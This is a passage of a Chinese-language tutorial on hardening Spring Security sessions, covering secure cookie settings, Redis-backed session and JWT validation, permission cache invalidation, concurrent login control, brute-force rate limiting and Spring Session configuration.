<span class="n">http</span><span class="o">.</span><span class="na">sessionManagement</span><span class="o">()</span>
    <span class="o">.</span><span class="na">sessionFixation</span><span class="o">().</span><span class="na">newSession</span><span class="o">();</span>      <span class="c1">// 创建全新 Session</span>
</code></pre></div></div>

<hr />

<h2 id="62-cookie-安全属性">6.2 Cookie 安全属性</h2>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Bean</span>
<span class="kd">public</span> <span class="nc">CookieSerializer</span> <span class="nf">cookieSerializer</span><span class="o">()</span> <span class="o">{</span>
    <span class="nc">DefaultCookieSerializer</span> <span class="n">serializer</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DefaultCookieSerializer</span><span class="o">();</span>
    <span class="n">serializer</span><span class="o">.</span><span class="na">setSameSite</span><span class="o">(</span><span class="s">"Strict"</span><span class="o">);</span>
    <span class="n">serializer</span><span class="o">.</span><span class="na">setUseSecureCookie</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>
    <span class="n">serializer</span><span class="o">.</span><span class="na">setUseHttpOnlyCookie</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>
    <span class="k">return</span> <span class="n">serializer</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">server</span><span class="pi">:</span>
  <span class="na">servlet</span><span class="pi">:</span>
    <span class="na">session</span><span class="pi">:</span>
      <span class="na">cookie</span><span class="pi">:</span>
        <span class="na">http-only</span><span class="pi">:</span> <span class="no">true</span>
        <span class="na">secure</span><span class="pi">:</span> <span class="no">true</span>
        <span class="na">same-site</span><span class="pi">:</span> <span class="s">strict</span>
      <span class="na">timeout</span><span class="pi">:</span> <span class="s">30m</span>
</code></pre></div></div>

<hr />

<h2 id="63-服务端-session-校验的正确模式">6.3 服务端 Session 校验的正确模式</h2>

<h3 id="模式-a仅判空不安全">模式 A：仅判空（不安全）</h3>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ❌ 只判断 getAttribute 是否为 null，无状态校验</span>
<span class="nc">Object</span> <span class="n">user</span> <span class="o">=</span> <span class="n">session</span><span class="o">.</span><span class="na">getAttribute</span><span class="o">(</span><span class="s">"user"</span><span class="o">);</span>
<span class="k">if</span> <span class="o">(</span><span class="n">user</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> <span class="n">response</span><span class="o">.</span><span class="na">sendRedirect</span><span class="o">(</span><span class="s">"/login"</span><span class="o">);</span> <span class="k">return</span> <span class="kc">false</span><span class="o">;</span> <span class="o">}</span>
<span class="k">return</span> <span class="kc">true</span><span class="o">;</span>  <span class="c1">// 不管 user 是否已被禁用、IP 是否变化</span>
</code></pre></div></div>

<h3 id="模式-bredis-集中校验推荐">模式 B：Redis 集中校验（推荐）</h3>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Component</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">SessionAuthInterceptor</span> <span class="kd">implements</span> <span class="nc">HandlerInterceptor</span> <span class="o">{</span>
    <span class="nd">@Autowired</span> <span class="kd">private</span> <span class="nc">RedisTemplate</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">SessionUser</span><span class="o">&gt;</span> <span class="n">redis</span><span class="o">;</span>
    <span class="nd">@Autowired</span> <span class="kd">private</span> <span class="nc">UserService</span> <span class="n">userService</span><span class="o">;</span>
    
    <span class="kd">public</span> <span class="kt">boolean</span> <span class="nf">preHandle</span><span class="o">(</span><span class="nc">HttpServletRequest</span> <span class="n">request</span><span class="o">,</span> <span class="o">...)</span> <span class="o">{</span>
        <span class="nc">String</span> <span class="n">sessionId</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="na">getHeader</span><span class="o">(</span><span class="s">"X-Session-Id"</span><span class="o">);</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">sessionId</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
            <span class="nc">HttpSession</span> <span class="n">s</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="na">getSession</span><span class="o">(</span><span class="kc">false</span><span class="o">);</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">s</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> <span class="n">respond401</span><span class="o">(</span><span class="n">response</span><span class="o">,</span> <span class="s">"未登录"</span><span class="o">);</span> <span class="k">return</span> <span class="kc">false</span><span class="o">;</span> <span class="o">}</span>
            <span class="n">sessionId</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="na">getId</span><span class="o">();</span>
        <span class="o">}</span>
        
        <span class="nc">SessionUser</span> <span class="n">user</span> <span class="o">=</span> <span class="n">redis</span><span class="o">.</span><span class="na">opsForValue</span><span class="o">().</span><span class="na">get</span><span class="o">(</span><span class="s">"session:user:"</span> <span class="o">+</span> <span class="n">sessionId</span><span class="o">);</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">user</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> <span class="n">respond401</span><span class="o">(</span><span class="n">response</span><span class="o">,</span> <span class="s">"Session 过期"</span><span class="o">);</span> <span class="k">return</span> <span class="kc">false</span><span class="o">;</span> <span class="o">}</span>
        
        <span class="c1">// 检查用户是否仍有效（可能被管理员禁用）</span>
        <span class="k">if</span> <span class="o">(!</span><span class="n">userService</span><span class="o">.</span><span class="na">isUserActive</span><span class="o">(</span><span class="n">user</span><span class="o">.</span><span class="na">getUserId</span><span class="o">()))</span> <span class="o">{</span>
            <span class="n">redis</span><span class="o">.</span><span class="na">delete</span><span class="o">(</span><span class="s">"session:user:"</span> <span class="o">+</span> <span class="n">sessionId</span><span class="o">);</span>
            <span class="n">respond401</span><span class="o">(</span><span class="n">response</span><span class="o">,</span> <span class="s">"账号已禁用"</span><span class="o">);</span> <span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
        <span class="o">}</span>
        
        <span class="c1">// 检查 IP 变化（管理后台推荐严格模式）</span>
        <span class="nc">String</span> <span class="n">currentIp</span> <span class="o">=</span> <span class="n">getClientIp</span><span class="o">(</span><span class="n">request</span><span class="o">);</span>
        <span class="k">if</span> <span class="o">(!</span><span class="n">currentIp</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">user</span><span class="o">.</span><span class="na">getLoginIp</span><span class="o">()))</span> <span class="o">{</span>
            <span class="n">log</span><span class="o">.</span><span class="na">warn</span><span class="o">(</span><span class="s">"IP变化: userId={}"</span><span class="o">,</span> <span class="n">user</span><span class="o">.</span><span class="na">getUserId</span><span class="o">());</span>
        <span class="o">}</span>
        
        <span class="c1">// 续期</span>
        <span class="n">redis</span><span class="o">.</span><span class="na">expire</span><span class="o">(</span><span class="s">"session:user:"</span> <span class="o">+</span> <span class="n">sessionId</span><span class="o">,</span> <span class="nc">Duration</span><span class="o">.</span><span class="na">ofMinutes</span><span class="o">(</span><span class="mi">30</span><span class="o">));</span>
        <span class="n">request</span><span class="o">.</span><span class="na">setAttribute</span><span class="o">(</span><span class="s">"currentUser"</span><span class="o">,</span> <span class="n">user</span><span class="o">);</span>
        <span class="k">return</span> <span class="kc">true</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Data</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">SessionUser</span> <span class="kd">implements</span> <span class="nc">Serializable</span> <span class="o">{</span>
    <span class="kd">private</span> <span class="nc">Long</span> <span class="n">userId</span><span class="o">;</span>
    <span class="kd">private</span> <span class="nc">String</span> <span class="n">username</span><span class="o">;</span>
    <span class="kd">private</span> <span class="nc">Set</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">&gt;</span> <span class="n">roles</span><span class="o">;</span>
    <span class="kd">private</span> <span class="nc">Set</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">&gt;</span> <span class="n">permissions</span><span class="o">;</span>
    <span class="kd">private</span> <span class="nc">String</span> <span class="n">loginIp</span><span class="o">;</span>
    <span class="kd">private</span> <span class="nc">String</span> <span class="n">userAgent</span><span class="o">;</span>
    <span class="kd">private</span> <span class="nc">LocalDateTime</span> <span class="n">loginTime</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<h3 id="模式-c无状态-token--redis-黑名单">模式 C：无状态 Token + Redis 黑名单</h3>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Override</span>
<span class="kd">public</span> <span class="kt">boolean</span> <span class="nf">preHandle</span><span class="o">(</span><span class="nc">HttpServletRequest</span> <span class="n">request</span><span class="o">,</span> <span class="o">...)</span> <span class="o">{</span>
    <span class="nc">String</span> <span class="n">token</span> <span class="o">=</span> <span class="n">extractBearerToken</span><span class="o">(</span><span class="n">request</span><span class="o">);</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">token</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> <span class="n">respond401</span><span class="o">(</span><span class="n">response</span><span class="o">,</span> <span class="s">"缺少Token"</span><span class="o">);</span> <span class="k">return</span> <span class="kc">false</span><span class="o">;</span> <span class="o">}</span>
    
    <span class="c1">// 黑名单检查（已注销的 Token）</span>
    <span class="k">if</span> <span class="o">(</span><span class="nc">Boolean</span><span class="o">.</span><span class="na">TRUE</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">redis</span><span class="o">.</span><span class="na">hasKey</span><span class="o">(</span><span class="s">"token:blacklist:"</span> <span class="o">+</span> <span class="n">getTokenId</span><span class="o">(</span><span class="n">token</span><span class="o">))))</span> <span class="o">{</span>
        <span class="n">respond401</span><span class="o">(</span><span class="n">response</span><span class="o">,</span> <span class="s">"Token 已失效"</span><span class="o">);</span> <span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
    <span class="o">}</span>
    
    <span class="c1">// JWT 校验</span>
    <span class="k">try</span> <span class="o">{</span>
        <span class="nc">TokenUser</span> <span class="n">user</span> <span class="o">=</span> <span class="n">jwtService</span><span class="o">.</span><span class="na">validateAndParse</span><span class="o">(</span><span class="n">token</span><span class="o">);</span>
        <span class="n">request</span><span class="o">.</span><span class="na">setAttribute</span><span class="o">(</span><span class="s">"currentUser"</span><span class="o">,</span> <span class="n">user</span><span class="o">);</span>
        <span class="k">return</span> <span class="kc">true</span><span class="o">;</span>
    <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">JwtException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">respond401</span><span class="o">(</span><span class="n">response</span><span class="o">,</span> <span class="s">"Token 无效"</span><span class="o">);</span> <span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<hr />

<h2 id="64-redis-权限缓存的安全陷阱">6.4 Redis 权限缓存的安全陷阱</h2>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ❌ 缓存无失效机制 — 权限变更后旧权限仍生效</span>
<span class="kd">public</span> <span class="nc">Set</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">&gt;</span> <span class="nf">getUserPermissions</span><span class="o">(</span><span class="nc">Long</span> <span class="n">userId</span><span class="o">)</span> <span class="o">{</span>
    <span class="nc">Set</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">&gt;</span> <span class="n">cached</span> <span class="o">=</span> <span class="n">redis</span><span class="o">.</span><span class="na">opsForValue</span><span class="o">().</span><span class="na">get</span><span class="o">(</span><span class="s">"perm:"</span> <span class="o">+</span> <span class="n">userId</span><span class="o">);</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">cached</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="k">return</span> <span class="n">cached</span><span class="o">;</span>  <span class="c1">// ← 永远返回缓存</span>
    <span class="c1">// ...</span>
<span class="o">}</span>

<span class="c1">// ✅ 变更时主动失效 + 短 TTL</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">updateUserPermissions</span><span class="o">(</span><span class="nc">Long</span> <span class="n">userId</span><span class="o">,</span> <span class="nc">Set</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">&gt;</span> <span class="n">newPerms</span><span class="o">)</span> <span class="o">{</span>
    <span class="n">permissionMapper</span><span class="o">.</span><span class="na">updatePermissions</span><span class="o">(</span><span class="n">userId</span><span class="o">,</span> <span class="n">newPerms</span><span class="o">);</span>
    <span class="n">redis</span><span class="o">.</span><span class="na">delete</span><span class="o">(</span><span class="s">"perm:"</span> <span class="o">+</span> <span class="n">userId</span><span class="o">);</span>  <span class="c1">// 立即失效</span>
    <span class="n">redis</span><span class="o">.</span><span class="na">convertAndSend</span><span class="o">(</span><span class="s">"perm:invalidate"</span><span class="o">,</span> <span class="n">userId</span><span class="o">.</span><span class="na">toString</span><span class="o">());</span>  <span class="c1">// 通知其他节点</span>
<span class="o">}</span>

<span class="kd">public</span> <span class="nc">Set</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">&gt;</span> <span class="nf">getUserPermissions</span><span class="o">(</span><span class="nc">Long</span> <span class="n">userId</span><span class="o">)</span> <span class="o">{</span>
    <span class="k">return</span> <span class="nc">Optional</span><span class="o">.</span><span class="na">ofNullable</span><span class="o">(</span><span class="n">redis</span><span class="o">.</span><span class="na">opsForValue</span><span class="o">().</span><span class="na">get</span><span class="o">(</span><span class="s">"perm:"</span> <span class="o">+</span> <span class="n">userId</span><span class="o">))</span>
        <span class="o">.</span><span class="na">orElseGet</span><span class="o">(()</span> <span class="o">-&gt;</span> <span class="o">{</span>
            <span class="nc">Set</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">&gt;</span> <span class="n">perms</span> <span class="o">=</span> <span class="n">permissionMapper</span><span class="o">.</span><span class="na">findByUserId</span><span class="o">(</span><span class="n">userId</span><span class="o">);</span>
            <span class="n">redis</span><span class="o">.</span><span class="na">opsForValue</span><span class="o">().</span><span class="na">set</span><span class="o">(</span><span class="s">"perm:"</span> <span class="o">+</span> <span class="n">userId</span><span class="o">,</span> <span class="n">perms</span><span class="o">,</span> <span class="nc">Duration</span><span class="o">.</span><span class="na">ofMinutes</span><span class="o">(</span><span class="mi">5</span><span class="o">));</span>
            <span class="k">return</span> <span class="n">perms</span><span class="o">;</span>
        <span class="o">});</span>
<span class="o">}</span>
</code></pre></div></div>

<hr />

<h2 id="65-并发登录控制">6.5 并发登录控制</h2>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Component</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">SessionManager</span> <span class="o">{</span>
    <span class="nd">@Autowired</span> <span class="kd">private</span> <span class="nc">RedisTemplate</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">String</span><span class="o">&gt;</span> <span class="n">redis</span><span class="o">;</span>
    
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">registerSession</span><span class="o">(</span><span class="nc">Long</span> <span class="n">userId</span><span class="o">,</span> <span class="nc">String</span> <span class="n">newSessionId</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">String</span> <span class="n">oldSessionId</span> <span class="o">=</span> <span class="n">redis</span><span class="o">.</span><span class="na">opsForValue</span><span class="o">().</span><span class="na">get</span><span class="o">(</span><span class="s">"user:session:"</span> <span class="o">+</span> <span class="n">userId</span><span class="o">);</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">oldSessionId</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">oldSessionId</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">newSessionId</span><span class="o">))</span> <span class="o">{</span>
            <span class="n">redis</span><span class="o">.</span><span class="na">opsForValue</span><span class="o">().</span><span class="na">set</span><span class="o">(</span><span class="s">"session:blacklist:"</span> <span class="o">+</span> <span class="n">oldSessionId</span><span class="o">,</span> <span class="s">"kicked"</span><span class="o">,</span> 
                <span class="nc">Duration</span><span class="o">.</span><span class="na">ofMinutes</span><span class="o">(</span><span class="mi">30</span><span class="o">));</span>
            <span class="n">log</span><span class="o">.</span><span class="na">info</span><span class="o">(</span><span class="s">"用户 {} 新设备登录，旧 Session 被踢出"</span><span class="o">,</span> <span class="n">userId</span><span class="o">);</span>
        <span class="o">}</span>
        <span class="n">redis</span><span class="o">.</span><span class="na">opsForValue</span><span class="o">().</span><span class="na">set</span><span class="o">(</span><span class="s">"user:session:"</span> <span class="o">+</span> <span class="n">userId</span><span class="o">,</span> <span class="n">newSessionId</span><span class="o">,</span> 
            <span class="nc">Duration</span><span class="o">.</span><span class="na">ofHours</span><span class="o">(</span><span class="mi">2</span><span class="o">));</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<hr />

<h2 id="66-暴力破解防护redis-限流">6.6 暴力破解防护（Redis 限流）</h2>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Component</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">LoginRateLimiter</span> <span class="o">{</span>
    <span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="kt">int</span> <span class="no">MAX_ATTEMPTS</span> <span class="o">=</span> <span class="mi">5</span><span class="o">;</span>
    <span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="nc">Duration</span> <span class="no">WINDOW</span> <span class="o">=</span> <span class="nc">Duration</span><span class="o">.</span><span class="na">ofMinutes</span><span class="o">(</span><span class="mi">5</span><span class="o">);</span>
    <span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="nc">Duration</span> <span class="no">BLOCK</span> <span class="o">=</span> <span class="nc">Duration</span><span class="o">.</span><span class="na">ofMinutes</span><span class="o">(</span><span class="mi">15</span><span class="o">);</span>
    
    <span class="kd">public</span> <span class="kt">boolean</span> <span class="nf">isBlocked</span><span class="o">(</span><span class="nc">String</span> <span class="n">username</span><span class="o">,</span> <span class="nc">String</span> <span class="n">ip</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">return</span> <span class="nc">Boolean</span><span class="o">.</span><span class="na">TRUE</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">redis</span><span class="o">.</span><span class="na">hasKey</span><span class="o">(</span><span class="s">"login:block:"</span> <span class="o">+</span> <span class="n">ip</span><span class="o">))</span>
            <span class="o">||</span> <span class="nc">Boolean</span><span class="o">.</span><span class="na">TRUE</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">redis</span><span class="o">.</span><span class="na">hasKey</span><span class="o">(</span><span class="s">"login:block:user:"</span> <span class="o">+</span> <span class="n">username</span><span class="o">));</span>
    <span class="o">}</span>
    
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">recordFailedAttempt</span><span class="o">(</span><span class="nc">String</span> <span class="n">username</span><span class="o">,</span> <span class="nc">String</span> <span class="n">ip</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">String</span> <span class="n">key</span> <span class="o">=</span> <span class="s">"login:attempt:"</span> <span class="o">+</span> <span class="n">ip</span> <span class="o">+</span> <span class="s">":"</span> <span class="o">+</span> <span class="n">username</span><span class="o">;</span>
        <span class="nc">Long</span> <span class="n">attempts</span> <span class="o">=</span> <span class="n">redis</span><span class="o">.</span><span class="na">opsForValue</span><span class="o">().</span><span class="na">increment</span><span class="o">(</span><span class="n">key</span><span class="o">);</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">attempts</span> <span class="o">==</span> <span class="mi">1</span><span class="o">)</span> <span class="n">redis</span><span class="o">.</span><span class="na">expire</span><span class="o">(</span><span class="n">key</span><span class="o">,</span> <span class="no">WINDOW</span><span class="o">);</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">attempts</span> <span class="o">&gt;=</span> <span class="no">MAX_ATTEMPTS</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">redis</span><span class="o">.</span><span class="na">opsForValue</span><span class="o">().</span><span class="na">set</span><span class="o">(</span><span class="s">"login:block:"</span> <span class="o">+</span> <span class="n">ip</span><span class="o">,</span> <span class="mi">1</span><span class="o">,</span> <span class="no">BLOCK</span><span class="o">);</span>
            <span class="n">redis</span><span class="o">.</span><span class="na">opsForValue</span><span class="o">().</span><span class="na">set</span><span class="o">(</span><span class="s">"login:block:user:"</span> <span class="o">+</span> <span class="n">username</span><span class="o">,</span> <span class="mi">1</span><span class="o">,</span> <span class="no">BLOCK</span><span class="o">);</span>
        <span class="o">}</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<hr />

<h2 id="67-混合认证架构设计">6.7 混合认证架构设计</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>管理后台 (Web/Cookie) ──→ Session 认证 ──┐
                                          ├──→ Redis 统一存储
移动端/API (Token)    ──→ JWT 认证    ──┘
</code></pre></div></div>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 管理后台：Session</span>
<span class="nd">@Bean</span>
<span class="kd">public</span> <span class="nc">SecurityFilterChain</span> <span class="nf">webChain</span><span class="o">(</span><span class="nc">HttpSecurity</span> <span class="n">http</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
    <span class="n">http</span><span class="o">.</span><span class="na">securityMatcher</span><span class="o">(</span><span class="s">"/admin/**"</span><span class="o">)</span>
        <span class="o">.</span><span class="na">authorizeHttpRequests</span><span class="o">(</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="n">a</span><span class="o">.</span><span class="na">anyRequest</span><span class="o">().</span><span class="na">hasRole</span><span class="o">(</span><span class="s">"ADMIN"</span><span class="o">))</span>
        <span class="o">.</span><span class="na">formLogin</span><span class="o">(</span><span class="nc">Customizer</span><span class="o">.</span><span class="na">withDefaults</span><span class="o">())</span>
        <span class="o">.</span><span class="na">sessionManagement</span><span class="o">(</span><span class="n">s</span> <span class="o">-&gt;</span> <span class="n">s</span><span class="o">.</span><span class="na">sessionCreationPolicy</span><span class="o">(</span><span class="no">IF_REQUIRED</span><span class="o">));</span>
    <span class="k">return</span> <span class="n">http</span><span class="o">.</span><span class="na">build</span><span class="o">();</span>
<span class="o">}</span>

<span class="c1">// API：JWT</span>
<span class="nd">@Bean</span> <span class="nd">@Order</span><span class="o">(</span><span class="mi">1</span><span class="o">)</span>
<span class="kd">public</span> <span class="nc">SecurityFilterChain</span> <span class="nf">apiChain</span><span class="o">(</span><span class="nc">HttpSecurity</span> <span class="n">http</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
    <span class="n">http</span><span class="o">.</span><span class="na">securityMatcher</span><span class="o">(</span><span class="s">"/api/**"</span><span class="o">)</span>
        <span class="o">.</span><span class="na">authorizeHttpRequests</span><span class="o">(</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="n">a</span><span class="o">.</span><span class="na">requestMatchers</span><span class="o">(</span><span class="s">"/api/public/**"</span><span class="o">).</span><span class="na">permitAll</span><span class="o">()</span>
            <span class="o">.</span><span class="na">anyRequest</span><span class="o">().</span><span class="na">authenticated</span><span class="o">())</span>
        <span class="o">.</span><span class="na">oauth2ResourceServer</span><span class="o">(</span><span class="n">o</span> <span class="o">-&gt;</span> <span class="n">o</span><span class="o">.</span><span class="na">jwt</span><span class="o">(</span><span class="nc">Customizer</span><span class="o">.</span><span class="na">withDefaults</span><span class="o">()))</span>
        <span class="o">.</span><span class="na">sessionManagement</span><span class="o">(</span><span class="n">s</span> <span class="o">-&gt;</span> <span class="n">s</span><span class="o">.</span><span class="na">sessionCreationPolicy</span><span class="o">(</span><span class="no">STATELESS</span><span class="o">));</span>
    <span class="k">return</span> <span class="n">http</span><span class="o">.</span><span class="na">build</span><span class="o">();</span>
<span class="o">}</span>
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>问题</th>
      <th style="text-align: center">Session</th>
      <th style="text-align: center">JWT</th>
      <th style="text-align: center">混合方案</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>吊销</td>
      <td style="text-align: center">✅</td>
      <td style="text-align: center">❌</td>
      <td style="text-align: center">Redis 黑名单</td>
    </tr>
    <tr>
      <td>扩展</td>
      <td style="text-align: center">❌</td>
      <td style="text-align: center">✅</td>
      <td style="text-align: center">Redis 共享</td>
    </tr>
    <tr>
      <td>CSRF</td>
      <td style="text-align: center">❌</td>
      <td style="text-align: center">✅</td>
      <td style="text-align: center">SameSite Cookie</td>
    </tr>
    <tr>
      <td>XSS</td>
      <td style="text-align: center">✅</td>
      <td style="text-align: center">❌</td>
      <td style="text-align: center">管理后台用 Session</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="68-spring-session-深度配置补充">6.8 Spring Session 深度配置（补充）</h2>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Configuration</span>
<span class="nd">@EnableRedisHttpSession</span><span class="o">(</span><span class="n">maxInactiveIntervalInSeconds</span> <span class="o">=</span> <span class="mi">1800</span><span class="o">)</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">SessionConfig</span> <span class="o">{</span>

    <span class="nd">@Bean</span>
    <span class="kd">public</span> <span class="nc">RedisSerializer</span><span class="o">&lt;</span><span class="nc">Object</span><span class="o">&gt;</span> <span class="nf">springSessionDefaultRedisSerializer</span><span class="o">()</span> <span class="o">{</span>
        <span class="c1">// 不要用 JdkSerializationRedisSerializer — 有反序列化风险</span>
        <span class="c1">// 推荐 Jackson 或 GenericJackson2JsonRedisSerializer</span>
        <span class="k">return</span> <span class="k">new</span> <span class="nf">GenericJackson2JsonRedisSerializer</span><span class="o">();</span>
    <span class="o">}</span>

    <span class="nd">@Bean</span>
    <span class="kd">public</span> <span class="nc">CookieSerializer</span> <span class="nf">cookieSerializer</span><span class="o">()</span> <span class="o">{</span>
        <span class="nc">DefaultCookieSerializer</span> <span class="n">serializer</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DefaultCookieSerializer</span><span class="o">();</span>
        <span class="n">serializer</span><span class="o">.</span><span class="na">setCookieName</span><span class="o">(</span><span class="s">"SESSIONID"</span><span class="o">);</span>
        <span class="n">serializer</span><span class="o">.</span><span class="na">setCookiePath</span><span class="o">(</span><span class="s">"/"</span><span class="o">);</span>
        <span class="n">serializer</span><span class="o">.</span><span class="na">setDomainNamePattern</span><span class="o">(</span><span class="s">"^.+?\\.(example\\.com)$"</span><span class="o">);</span>
        <span class="n">serializer</span><span class="o">.</span><span class="na">setUseSecureCookie</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>
        <span class="n">serializer</span><span class="o">.</span><span class="na">setUseHttpOnlyCookie</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>
        <span class="n">serializer</span><span class="o">.</span><span class="na">setSameSite</span><span class="o">(</span><span class="s">"Lax"</span><span class="o">);</span>
        <span class="k">return</span> <span class="n">serializer</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="nd">@Bean</span>
    <span class="kd">public</span> <span class="nc">RedisIndexedSessionRepository</span> <span class="nf">sessionRepository</span><span class="o">(</span>
            <span class="nc">RedisOperations</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">Object</span><span class="o">&gt;</span> <span class="n">redis</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">RedisIndexedSessionRepository</span> <span class="n">repo</span> <span class="o">=</span> 
            <span class="k">new</span> <span class="nf">RedisIndexedSessionRepository</span><span class="o">(</span><span class="n">redis</span><span class="o">);</span>
        <span class="n">repo</span><span class="o">.</span><span class="na">setDefaultMaxInactiveInterval</span><span class="o">(</span><span class="nc">Duration</span><span class="o">.</span><span class="na">ofMinutes</span><span class="o">(</span><span class="mi">30</span><span class="o">));</span>
        
        <span class="c1">// 关键：配置 Redis key 前缀，方便管理</span>
        <span class="n">repo</span><span class="o">.</span><span class="na">setRedisKeyNamespace</span><span class="o">(</span><span class="s">"myapp:session:"</span><span class="o">);</span>
        
        <span class="k">return</span> <span class="n">repo</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p><strong>Spring Session 安全注意事项</strong>：</p>

<ol>
  <li><strong>序列化器选择</strong>：避免 <code class="language-plaintext highlighter-rouge">JdkSerializationRedisSerializer</code>，它和 Java 原生反序列化一样存在 RCE 风险</li>
  <li><strong>Redis 密码</strong>：生产环境 <code class="language-plaintext highlighter-rouge">spring.redis.password</code> 必须设置</li>
  <li><strong>命名空间隔离</strong>：不同应用使用不同的 <code class="language-plaintext highlighter-rouge">redisKeyNamespace</code>，避免 Session 混淆</li>
  <li><strong>findByPrincipalName</strong>：此方法会遍历所有 Session key（<code class="language-plaintext highlighter-rouge">KEYS *</code>），大数据量时性能极差，谨慎使用</li>
</ol>

<hr />

<h2 id="69-redis-cluster-模式下的认证补充">6.9 Redis Cluster 模式下的认证（补充）</h2>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Redis Cluster 配置</span>
<span class="na">spring</span><span class="pi">:</span>
  <span class="na">redis</span><span class="pi">:</span>
    <span class="na">cluster</span><span class="pi">:</span>
      <span class="na">nodes</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="s">10.0.1.10:6379</span>
        <span class="pi">-</span> <span class="s">10.0.1.11:6379</span>
        <span class="pi">-</span> <span class="s">10.0.1.12:6379</span>
